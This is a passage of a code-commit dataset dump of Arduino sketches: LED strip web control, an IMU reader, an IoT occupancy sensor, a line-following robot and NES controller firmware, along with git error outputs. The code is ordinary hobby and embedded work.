i=0; i < PIXEL_COUNT; i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\nvoid loop() {\n \/\/wdt_enable(WDTO_2S);\n \/\/ Try to get a client which is connected.\n Adafruit_CC3000_ClientRef client = httpServer.available();\n if (client) {\n Serial.println(F(\"Client connected.\"));\n \/\/ Process this request until it completes or times out.\n \/\/ Note that this is explicitly limited to handling one request at a time!\n\n \/\/ Clear the incoming data buffer and point to the beginning of it.\n bufindex = 0;\n memset(&buffer, 0, sizeof(buffer));\n \n \/\/ Clear action and path strings.\n memset(&action, 0, sizeof(action));\n memset(&path, 0, sizeof(path));\n memset(&type, 0, sizeof(type));\n memset(&value, 0, sizeof(value));\n memset(&callback, 0, sizeof(callback));\n memset(&response, 0, sizeof(response));\n\n \/\/ Set a timeout for reading all the incoming data.\n unsigned long endtime = millis() + TIMEOUT_MS;\n \n \/\/ Read all the incoming data until it can be parsed or the timeout expires.\n bool parsed = false;\n while (!parsed && (millis() < endtime) && (bufindex < BUFFER_SIZE)) {\n if (client.available()) {\n buffer[bufindex++] = client.read();\n }\n parsed = parseRequest(buffer, bufindex, action, path, type, value, callback);\n }\n \n \/\/ Handle the request if it was parsed.\n if (parsed) {\n #ifdef debug\n Serial.println(F(\"Processing request\"));\n Serial.print(F(\"Action: \")); Serial.println(action);\n Serial.print(F(\"Path: \")); Serial.println(path);\n Serial.print(F(\"Type: \")); Serial.println(type);\n Serial.print(F(\"Value: \")); Serial.println(value);\n Serial.print(F(\"Callback: \")); Serial.println(callback);\n Serial.println(F(\"\"));\n #endif\n \/\/ Check the action to see if it was a GET request.\n if (strcmp(action, \"GET\") == 0) {\n \/\/ Parse a single digit value.\n int val = atoi(value);\n \/\/ Update appropriate state for the associated command and value.\n if (strcmp(type, \"scheme\") == 0) {\n currentScheme = constrain(val, 0, 6);\n #ifdef debug\n Serial.print(F(\"currentScheme: \")); Serial.println(currentScheme);\n #endif\n }\n else if (strcmp(type, \"pattern\") == 0) {\n currentPattern = (Pattern)constrain(val, 0, 6);\n #ifdef debug\n Serial.print(F(\"currentPattern: \")); Serial.println(currentPattern);\n #endif\n }\n else if (strcmp(type, \"width\") == 0) {\n currentWidth = constrain(val, 0, 2);\n #ifdef debug\n Serial.print(F(\"currentWidth: \")); Serial.println(currentWidth);\n #endif\n }\n else if (strcmp(type, \"speed\") == 0) {\n currentSpeed = speedValues[constrain(val, 0, 3)];\n #ifdef debug\n Serial.print(F(\"currentSpeed: \")); Serial.println(currentSpeed);\n #endif\n }\n \n \n \/\/ Respond with the path that was accessed.\n \/\/ First send the success response code.\n client.fastrprintln(F(\"HTTP\/1.1 200 OK\"));\n \/\/ Then send a few headers to identify the type of data returned and that\n \/\/ the connection will not be held open.\n client.fastrprintln(F(\"Content-Type: application\/json\"));\n client.fastrprintln(F(\"Connection: close\"));\n client.fastrprintln(F(\"Server: Adafruit CC3000\"));\n \/\/ Send an empty line to signal start of body.\n client.fastrprintln(F(\"\"));\n \/\/ Now send the response data.\n if (callback != NULL) {\n sprintf(response, \"%s({\\\"type\\\":\\\"%s\\\",\\\"value\\\":%s})\", callback, type, value);\n } else {\n sprintf(response, \"{\\\"type\\\":%s,\\\"value\\\":%s}\", type, value);\n }\n client.fastrprintln(response);\n #ifdef debug\n Serial.print(F(\"Response: \"));\n Serial.println(response);\n #endif\n \/*\n if (callback != NULL) {\n client.fastrprint(callback);\n client.fastrprint(F(\"(\"));\n }\n client.fastrprint(F(\"{\\\"type\\\": \\\"\"));\n client.fastrprint(type);\n client.fastrprint(F(\"\\\", \\\"value\\\": \"));\n client.fastrprint(value);\n client.fastrprint(F(\"}\"));\n if (callback != NULL) {\n client.fastrprint(F(\");\"));\n }\n client.fastrprintln(F(\"\"));\n *\/\n }\n else {\n \/\/ Unsupported action, respond with an HTTP 405 method not allowed error.\n client.fastrprintln(F(\"HTTP\/1.1 405 Method Not Allowed\"));\n client.fastrprintln(F(\"Connection: close\"));\n client.fastrprintln(F(\"Server: Adafruit CC3000\"));\n client.fastrprintln(F(\"\"));\n }\n } else {\n \/\/ Unsupported action, respond with an HTTP 405 method not allowed error.\n client.fastrprintln(F(\"HTTP\/1.1 412 Precondition Failed\"));\n client.fastrprintln(F(\"Connection: close\"));\n client.fastrprintln(F(\"Server: Adafruit CC3000\"));\n client.fastrprintln(F(\"\"));\n }\n\n \/\/ Wait a short period to make sure the response had time to send before\n \/\/ the connection is closed (the CC3000 sends data asyncronously).\n delay(200);\n\n \/\/ Close the connection when done.\n Serial.println(F(\"Client disconnected\"));\n client.close();\n }\n \/*\n \/\/ Some example procedures showing how to display to the pixels:\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n \/\/ Send a theater pixel chase in...\n theaterChase(strip.Color(127, 127, 127), 50); \/\/ White\n theaterChase(strip.Color(127, 0, 0), 50); \/\/ Red\n theaterChase(strip.Color(0, 0, 127), 50); \/\/ Blue\n \n rainbow(20);\n rainbowCycle(20);\n theaterChaseRainbow(50);\n *\/\n \/\/ BARS = 0, GRADIENT, RAINBOW, RAINBOW_CYCLE, COLOR_WIPE, THEATER_CHASE, THEATER_CHASE_RAINBOW\n \/\/ Update pixels based on current state.\n switch(currentPattern) {\n case BARS:\n bars(schemes[currentScheme], barWidthValues[currentWidth], currentSpeed);\n break;\n case GRADIENT:\n gradient(schemes[currentScheme], gradientWidthValues[currentWidth], currentSpeed);\n break;\n case RAINBOWS:\n rainbows(20);\n break;\n case RAINBOW_CYCLE:\n rainbowCycle(20);\n break;\n case COLOR_WIPE:\n colorWipe(Wheel(random(0, 255)), 50);\n break;\n case THEATER_CHASE:\n theaterChase(Wheel(random(0, 255)), 50); \/\/ Blue\n break;\n case THEATER_CHASE_RAINBOW:\n theaterChaseRainbow(50);\n break;\n }\n}\n\n\/\/ Return true if the buffer contains an HTTP request. Also returns the request\n\/\/ path and action strings if the request was parsed. This does not attempt to\n\/\/ parse any HTTP headers because there really isn't enough memory to process\n\/\/ them all.\n\/\/ HTTP request looks like:\n\/\/ [method] [path] [version] \\r\\n\n\/\/ Header_key_1: Header_value_1 \\r\\n\n\/\/ ...\n\/\/ Header_key_n: Header_value_n \\r\\n\n\/\/ \\r\\n\nbool parseRequest(uint8_t* buf, int bufSize, char* action, char* path, char* type, char* value, char* callback) {\n \/\/wdt_enable(WDTO_1S);\n \/\/ Check if the request ends with \\r\\n to signal end of first line.\n if (bufSize < 2)\n return false;\n if (buf[bufSize-2] == '\\r' && buf[bufSize-1] == '\\n') {\n return parseFirstLine((char*)buf, action, path, type, value, callback);\n }\n return false;\n}\n\n\/\/ Parse the action and path from the first line of an HTTP request.\nbool parseFirstLine(char* line, char* action, char* path, char* type, char* value, char* callback) {\n #ifdef debug\n Serial.print(F(\"line: \")); Serial.println(line);\n #endif\n \/\/ Parse first word up to whitespace as action.\n char* lineaction = strtok(line, \" \");\n if (lineaction == NULL) {\n return false;\n }\n strncpy(action, lineaction, MAX_ACTION);\n \/\/ Parse second word up to whitespace as path.\n char* linepath = strtok(NULL, \" \");\n if (linepath == NULL) {\n #ifdef debug\n Serial.println(F(\"linepath NULL\"));\n #endif\n return false;\n }\n \n char* tempPath = strncpy(path, linepath, MAX_PATH);\n #ifdef debug\n Serial.print(F(\"tempPath: \")); Serial.println(tempPath);\n Serial.print(F(\"path: \")); Serial.println(path);\n #endif\n char* linetype = strtok(tempPath, \"\/\");\n if (linetype == NULL || strncmp(linetype, \"arduino\", 7) != 0) {\n #ifdef debug\n Serial.println(F(\"linetype1 NULL\"));\n #endif\n return false;\n }\n linetype = strtok(NULL, \"\/\");\n if (linetype == NULL) {\n #ifdef debug\n Serial.println(F(\"linetype2 NULL\"));\n #endif\n return false;\n }\n strncpy(type, linetype, MAX_TYPE);\n char* linevalue = strtok(NULL, \"\/\");\n if (linevalue == NULL) {\n #ifdef debug\n Serial.println(F(\"linevalue NULL\"));\n #endif\n value = \"0\";\n } else {\n int i = 0;\n int j = 0;\n while(linevalue[i] != '?' && linevalue[i] != '\\0' && linevalue[i] != ' ') {\n value[j++] = linevalue[i++];\n }\n }\n char* linecallback = strtok(tempPath, \"?\");\n if (linecallback != NULL) {\n Serial.print(F(\"lineCallback: \")); Serial.println(linecallback);\n int i = -1;\n int j = 0;\n while(linecallback[++i] != '=') {}\n i++;\n while(linecallback[i] != '&' && linecallback[i] != '\\r') {\n callback[j++] = linecallback[i++];\n }\n } else {\n #ifdef debug\n Serial.println(F(\"linecallback NULL\"));\n #endif\n }\n return true;\n}\n\n\/\/ Tries to read the IP address and other connection details\nbool displayConnectionDetails(void)\n{\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n \n if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))\n {\n Serial.println(F(\"Unable to retrieve the IP Address!\\r\\n\"));\n return false;\n }\n else\n {\n Serial.print(F(\"\\nIP Addr: \")); cc3000.printIPdotsRev(ipAddress);\n Serial.print(F(\"\\nNetmask: \")); cc3000.printIPdotsRev(netmask);\n Serial.print(F(\"\\nGateway: \")); cc3000.printIPdotsRev(gateway);\n Serial.print(F(\"\\nDHCPsrv: \")); cc3000.printIPdotsRev(dhcpserv);\n Serial.print(F(\"\\nDNSserv: \")); cc3000.printIPdotsRev(dnsserv);\n Serial.println();\n return true;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'stripNeopixel\/stripNeopixel.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"81cfd7ef3378345c9deb3cef7e5253dc62a83524","subject":"The file I have with me.","message":"The file I have with me.\n","repos":"IITK-SUMMER-QUAD-2015-TEAM\/QuadIITK,IITK-SUMMER-QUAD-2015-TEAM\/QuadIITK","old_file":"code\/code.ino","new_file":"code\/code.ino","new_contents":"\/*Gyro output rate: 8kHz (if we do'nt use DLPF and 1kHz if do use DLPF)\n**Accelo output rate: 1kHz*\/\n\n#define BAUD_RATE 115200 \/\/general baud rates: 300, 600, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, and 115200\n\n\/*All of the below regiater addresses are for the most significant bits, i.e. for bits[15:8]*\/\n\n#define GYRO_XOUT_REGISTER 0x43\n#define GYRO_YOUT_REGISTER 0x45\n#define GYRO_ZOUT_REGISTER 0x47\n\n#define ACCELO_XOUT_REGISTER 0x3B\n#define ACCELO_YOUT_REGISTER 0x3D\n#define ACCELO_ZOUT_REGISTER 0x3F\n\n#define TEMP_OUT_REGISTER 0x41\n\n\/*The below register addresses are for the configuration bits of the gyrometer and accelometer ranges*\/\n#define GYRO_CONFIG_REGISTER 0x1B\n#define FS_SEL_BIT 3\/\/0-> +-250 deg\/s 1-> +-500 deg\/s 0-> +-1000 deg\/s 0-> +-2000 deg\/s\n\n#define ACCEL0_CONFIG_REGISTER 0x1C\n#define AFS_SEL_BIT 3\/\/0-> +-2g 1-> +-4g 0-> +-8g 0-> +-16g\n\n\/*One of the power registers. Contains the Sleep mode bit. The sleep mode bit should be set to 0 for sleep mode to be deactivated.*\/\n#define PWR_MGMT_1_REGISTER 0x6B\n\n#define MPU_ADDRESS 0x68 \/\/ Can be made 0x69 as well using the AD0 pin of the IMU.\n\n#define CONFIG_REGISTER 0x1A \/\/The register containing the DLPF bits.\n\n#define CONFIG_VALUE 1 \/\/0->260Hz 1->184Hz 2->94Hz 3->44Hz 4->21Hz 5->260Hz 6->10Hz 7->5Hz\n\/\/It is should be noted that decreasing the bandwidth increases the delay.\n\/*The dividing factors. They change with different modes of operation of the gyro and accelerometer*\/\n#define ACCELO_DIVIDING_FACTOR 16384\/\/2g->16384 4g->8192 8g->4096 16g->2048\n#define GYRO_DIVIDING_FACTOR 131 \/\/250dps->131 500dps->65.5 1000dps->32.8 2000dps->16.4 \n\n\/*For temperature sensor*\/\n#define TEMP_DIVIDING_FACTOR 340\n#define TEMP_OFFSET 36.53\n\n#include <Wire.h>\n\nvoid initI2CMPU(void);\nvoid getMPUValues(void);\n\nvoid printMPUValues(void);\nint16_t Ax, Ay, Az, Gx, Gy, Gz, temperature;\n\nvoid setup()\n{\n initI2CMPU();\n Serial.begin(BAUD_RATE);\n}\n\nvoid loop()\n{\n getMPUValues();\n printMPUValues();\n}\n\nvoid initI2CMPU(void) \/\/Begins I2C communication with MPU using it's internal 8MHz oscillator for CLKSEL and also wakes up the MPU.\n{\n Wire.begin(MPU_ADDRESS);\n\n Wire.beginTransmission(MPU_ADDRESS);\n\n Wire.write(PWR_MGMT_1_REGISTER);\n Wire.write(0);\n\n Wire.endTransmission(true);\n Wire.beginTransmission(MPU_ADDRESS);\n\n Wire.write(CONFIG_REGISTER);\n Wire.write(CONFIG_VALUE);\n\n Wire.endTransmission(true);\n\n}\n\nvoid getMPUValues(void)\n{\n Wire.beginTransmission(MPU_ADDRESS);\n Wire.write(ACCELO_XOUT_REGISTER);\n Wire.endTransmission(false);\n\n Wire.requestFrom(MPU_ADDRESS, 14, true);\n\n while (!Wire.available());\n\n Ax = (Wire.read() << 8) | Wire.read();\n Ay = (Wire.read() << 8) | Wire.read();\n Az = (Wire.read() << 8) | Wire.read();\n\n temperature = (Wire.read() << 8) | Wire.read();\n\n Gx = (Wire.read() << 8) | Wire.read();\n Gy = (Wire.read() << 8) | Wire.read();\n Gz = (Wire.read() << 8) | Wire.read();\n}\n\nvoid printMPUValues(void)\n{\n Serial.print((double)Gx \/ GYRO_DIVIDING_FACTOR); Serial.print('\\t');Serial.print((double)Gy \/ GYRO_DIVIDING_FACTOR);Serial.print('\\t'); Serial.print((double)Gz \/ GYRO_DIVIDING_FACTOR); Serial.print('\\t');Serial.print((double)Ax \/ ACCELO_DIVIDING_FACTOR);Serial.print('\\t');Serial.print((double)Ay \/ ACCELO_DIVIDING_FACTOR);Serial.print('\\t');Serial.print((double)Az \/ ACCELO_DIVIDING_FACTOR);Serial.println((double)temperature \/ TEMP_DIVIDING_FACTOR + TEMP_OFFSET);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/code.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"57bad805f2546d317f950e238a82da05928e1fd4","subject":"Added debug flag for nduino com","message":"Added debug flag for nduino com\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"98759ac3b275f41a12ab0f30784385d4b5a81a27","subject":"Communication from PC to slave working (slowly)","message":"Communication from PC to slave working (slowly)\n\nSlow, but steady communication from PC passed through to slave. Still only works when red LED is on on the master, but LED is relatively constant now.","repos":"dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean","old_file":"nb_ocean\/_master.ino","new_file":"nb_ocean\/_master.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dkadish\/nuit_blanche_ocean.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"36d4283610a9390692021f8b0cc883a085e79991","subject":"ESP8266OccupancySensor Example","message":"ESP8266OccupancySensor Example\n","repos":"exosite-garage\/arduino_exosite_library","old_file":"examples\/ESP8266OccupancySensor\/ESP8266OccupancySensor.ino","new_file":"examples\/ESP8266OccupancySensor\/ESP8266OccupancySensor.ino","new_contents":"\/\/*****************************************************************************\n\/\/\n\/\/ ESP8266OccupancySensor - An example of how to use the Exosite library\n\/\/ on the Sparkfun ESP8266 Thing with a PIR motion\n\/\/ sensor to detect the occupancy status of a room\n\/\/\n\/\/ Requires the ESP8266 Arduino Library\n\/\/\n\/\/ You MUST comment out line 503 of Exosite.cpp in the Exosite library\n\/\/ because the strtoul method is not compatible with the ESP8266 Library\n\/\/\n\/\/ Copyright (c) 2015 Exosite LLC. All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without \n\/\/ modification, are permitted provided that the following conditions are met:\n\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright \n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Exosite LLC nor the names of its contributors may\n\/\/ be used to endorse or promote products derived from this software \n\/\/ without specific prior written permission.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITH ALL FAULTS.\n\/\/ NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT\n\/\/ NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY\n\/\/ CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL\n\/\/ DAMAGES, FOR ANY REASON WHATSOEVER.\n\/\/\n\/\/*****************************************************************************\n\n#include <EEPROM.h>\n#include <SPI.h>\n#include <ESP8266WiFi.h>\n#include <Exosite.h>\n#define MOTION_PIN 2\n#define REPORT_TIMEOUT 15000 \/\/milliseconds period for reporting to Exosite.com\n\n\/*==============================================================================\n* Configuration Variables\n*\n* Change these variables to your own settings.\n*=============================================================================*\/\nString cikData = \"0000000000000000000000000000000000000000\"; \/\/ <-- Fill in your CIK here! (https:\/\/portals.exosite.com -> Add Device)\nconst char* ssid = \"your-ssid\";\nconst char* password = \"your-password\";\nWiFiClient client;\n\n\/\/ Use these variables to customize what datasources are read and written to.\nString readString = \"occupancyint\";\nString writeString = \"occupancyint=\";\nString returnString;\n\n\/*==============================================================================\n* End of Configuration Variables\n*=============================================================================*\/\nExosite exosite(cikData, &client);\nint motionState = 0;\nint movementCounter = 0; \/\/ Use to count number of times movement is detected in the intervals\n\n\/*==============================================================================\n* setup\n*\n* Arduino setup function.\n*=============================================================================*\/\nvoid setup(){ \n Serial.begin(115200);\n delay(10);\n pinMode(MOTION_PIN, INPUT);\n \n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\n\/*==============================================================================\n* loop \n*\n* Arduino loop function.\n*=============================================================================*\/\nvoid loop(){\n static unsigned long sendPrevTime = 0;\n \/\/ read the state of the motion sensor value:\n motionState = digitalRead(MOTION_PIN);\n \/\/ check if the motion sensor is activated\n \/\/ if it is, the motionState is LOW (with 10K resistor):\n if (motionState == LOW) {\n movementCounter++;\n Serial.println(\"Motion Detected.\");\n delay(2000);\n }\n \/\/Send value to Exosite every REPORT_TIMEOUT milliseconds\n if (millis() - sendPrevTime > REPORT_TIMEOUT) {\n \/\/Only send \"true\" if motion detected certain number of times over last interval\n exosite.writeRead(writeString+String(movementCounter), readString, returnString);\n Serial.println(returnString);\n movementCounter = 0;\n sendPrevTime = millis();\n }\n \/\/ Use some datarule Lua Script of your choice to set the threshold for \n \/\/ the number of times motion detected results in an occupied room\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESP8266OccupancySensor\/ESP8266OccupancySensor.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"857bd0195b3c28a7ce3d245a71394b5bdbeb2d92","subject":"Create LineFollower.ino","message":"Create LineFollower.ino","repos":"dubkov\/Bullet","old_file":"examples\/LineFollower.ino","new_file":"examples\/LineFollower.ino","new_contents":"#include \"Bullet.h\"\n\n#define SENR A3\n#define SENL A1\n#define CTRL_THRD 150\n#define SENL_LTHRD 60\n#define SENL_HTHRD 400\n#define SENR_LTHRD 60\n#define SENR_HTHRD 390\n#define FWD_THRD 20\n#define HSPEED 220\n#define LSPEED 180\n\nbullet bullet(5,6,10,11);\nboolean needToSteer; \n\nvoid setup(){}\n\nvoid loop(){\n\tsenr=analogRead(SENR);\n\tsenl=analogRead(SENL);\n\tcontrol=senr-senl;\n\t\n\tif(abs(control) > CTRL_THRD)\n {\n if(senl > SENL_HTHRD && senr < SENR_LTHRD){\/\/\u043f\u043e\u0432\u043e\u0440\u043e\u0442 \u0432\u043b\u0435\u0432\u043e\n bullet.steer(LEFT);\n needToSteer=true;\n bullet.drive(FWD,LSPEED);\n } \n else if (senl <SENL_LTHRD && senr > SENR_HTHRD){\/\/\u043f\u043e\u0432\u043e\u0440\u043e\u0442 \u0432\u043f\u0440\u0430\u0432\u043e\n bullet.steer(RIGHT);\n needToSteer=true;\n bullet.drive(FWD,LSPEED);\n }\n }\n else if (!needToSteer){\n\tbullet.steer(STOP);\n }\n else if (control <FWD_THRD){\n bullet.drive(FWD,HSPEED);\n } \n if (senl>SENL_HTHRD && senr>SENR_HTHRD && control<CTRL_THRD) {\n needToSteer=false;\n }\n}\n\n\n\n\/* ------------------ MOSCOW CODE BEGINS -----------------\n\n\n\/\/-----------------------------------------------------\/\/\n\/\/-----------Ilya S. Dubkoff, Semyon D. Egoroff--------\/\/\n\/\/-----------------------------------------------------\/\/\n\/\/-Rear (drive) motor is connected to IN1 and IN2, ----\/\/\n\/\/-front (stearing) motor is connected to IN3 and IN4.-\/\/\n\/\/-----------------------------------------------------\/\/\n\/\/---------IN1 LOW and IN2 HIGH - drive forward--------\/\/\n\/\/--------IN1 HIGH and IN2 LOW - drive backward--------\/\/\n\/\/----------IN3 HIGH and IN4 LOW - steer left----------\/\/\n\/\/---------IN3 LOW and IN4 HIGH - steer right----------\/\/\n\n\n#define IN1 5\n#define IN2 6\n#define IN3 10\n#define IN4 11\n\n#define SENR A3\n#define SENL A1\n\n#define WHITE_L 50\n#define WHITE_R 50\n#define THRESHOLD 150\n#define WHITE 50\/\/************************\n\n#define SPEED 220\n\nunsigned int senl, senr;\n\n\nvoid setup(){\n pinMode(IN1,OUTPUT);\n pinMode(IN2,OUTPUT);\n pinMode(IN3,OUTPUT);\n pinMode(IN4,OUTPUT);\n pinMode(13,OUTPUT);\n delay(300);\n\/\/ Serial.begin(9600);\n driveForward(SPEED);\n} \n\n\/\/int senl=0, senr=0;\nint control;\nboolean SLF, SRF, lastMove, needToSteer; \/\/steer left flag, steer right flag\n\nvoid loop(){\n\n senr=analogRead(SENR);\n senl=analogRead(SENL);\n control=senr-senl;\n\/\/ driveForward(255-constrain(abs((control-150)),0,170));\n \n\n if(abs(control) > THRESHOLD)\n {\n if(senl > 400 && senr < 60){\/\/\u043f\u043e\u0432\u043e\u0440\u043e\u0442 \u0432\u043b\u0435\u0432\u043e\n steerLeft();\n needToSteer=true;\n\/\/ digitalWrite(13,HIGH);\n driveForward(SPEED);\n } \n else if (senl <60 && senr > 390){\/\/\u043f\u043e\u0432\u043e\u0440\u043e\u0442 \u0432\u043f\u0440\u0430\u0432\u043e\n steerRight();\n needToSteer=true;\n\/\/ digitalWrite(13,HIGH);\n driveForward(SPEED);\n }\n }else if (!needToSteer){\n steerStop();\n }else if (control <20){\n driveForward(180);\n }\n \n if (senl>400 && senr>390 && control<THRESHOLD) {\n needToSteer=false;\n\/\/ digitalWrite(13,LOW);\n }\n\/\/else needToSteer=false;\n \n}\n\n\n\/\/----------------------FUNCTIONS---------------------------\/\/\n\nvoid driveForward(int spid){\n digitalWrite(IN1, LOW);\n \/\/ digitalWrite(IN2, HIGH); \n analogWrite(IN2, spid);\n}\n\nvoid driveBackward(int spid){\n digitalWrite(IN2, LOW);\n \/\/ digitalWrite(IN1, HIGH);\n analogWrite(IN1, spid);\n\n}\n\nvoid driveStop(){\n digitalWrite(IN1, LOW);\n digitalWrite(IN2, LOW); \n} \n\nvoid steerLeft(){\n digitalWrite(IN4, LOW);\n digitalWrite(IN3, HIGH); \n}\nvoid steerRight(){\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, HIGH);\n}\n\nvoid steerStop(){\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, LOW); \n} \n\n-------------------- MOSCOW CODE ENDS ---------------------*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LineFollower.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"fe58beae6eaee9fa1255f1f0d7c121866afb97a9","subject":"Muscle SpikerShield Arduino code for Leonardo","message":"Muscle SpikerShield Arduino code for Leonardo\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/MuscleLeonardo\/MuscleLeonardo.ino","new_file":"Muscle\/Arduino Code\/MuscleLeonardo\/MuscleLeonardo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/MuscleLeonardo\/MuscleLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78a8069cf69e6b0872e1af91fbb241ab3967a1b0","subject":"Fix comments from Blink to Fade","message":"Fix comments from Blink to Fade","repos":"amthenia\/LED","old_file":"Examples\/Fade\/Fade.ino","new_file":"Examples\/Fade\/Fade.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/amthenia\/LED.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c872a0d014ee61f18906c591b426a93abf919ffb","subject":"bootup beautification","message":"bootup beautification\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f87bd01e086bf8d7ad9a613ce697fd87621b88d1","subject":"Create connectednes.ino","message":"Create connectednes.ino","repos":"hxlnt\/connectedNES,hxlnt\/connectedNES","old_file":"Photon-firmware\/connectednes.ino","new_file":"Photon-firmware\/connectednes.ino","new_contents":"\/\/ ConnectedNES Particle Photon firmware\n\/\/ \n\n#define NES_CLOCK D1 \/\/ Red wire\n#define NES_LATCH D2 \/\/ Orange wire\n#define NES_DATA D3 \/\/ Yellow wire\n\nvolatile unsigned char latchedByte; \/\/ Controller press byte value = one letter in tweet\nvolatile unsigned char bitCount; \/\/ A single LDA $4017 (get one bit from \"controller press\")\nvolatile unsigned char byteCount; \/\/ How many bytes have already been printed\nvolatile unsigned char bytesToTransfer; \/\/ How many bytes are left to print\n\nunsigned char tweetData[192]; \/\/ Array that will hold 192 hex values representing tweet data \n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid setup() {\n \n Particle.subscribe(\"tweet\", myHandler);\n \n pinMode(NES_CLOCK, INPUT); \/\/ Set NES controller red wire (clock) as an input\n pinMode(NES_LATCH, INPUT); \/\/ Set NES controller orange wire (latch) as an input\n pinMode(NES_DATA, OUTPUT); \/\/ Set NES controller yellow wire (data) as an output\n \n attachInterrupt(NES_CLOCK, ClockNES, FALLING); \/\/ When NES clock ends, execute ClockNES\n attachInterrupt(NES_LATCH, LatchNES, RISING); \/\/ When NES latch fires, execure LatchNES\n \n pinMode(7, OUTPUT); \/\/ Turn off the Photon's on-board LED\n digitalWrite(7, LOW); \/\/\n \n byteCount = 0; \/\/ Initialize byteCount at zero, no letters printed to screen\n bytesToTransfer = 0; \/\/ Initialize bytesToTransfer at zero, no letters waiting to print to screen\n\n }\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid loop() { \/\/ 'Round and 'round we go \n\n } 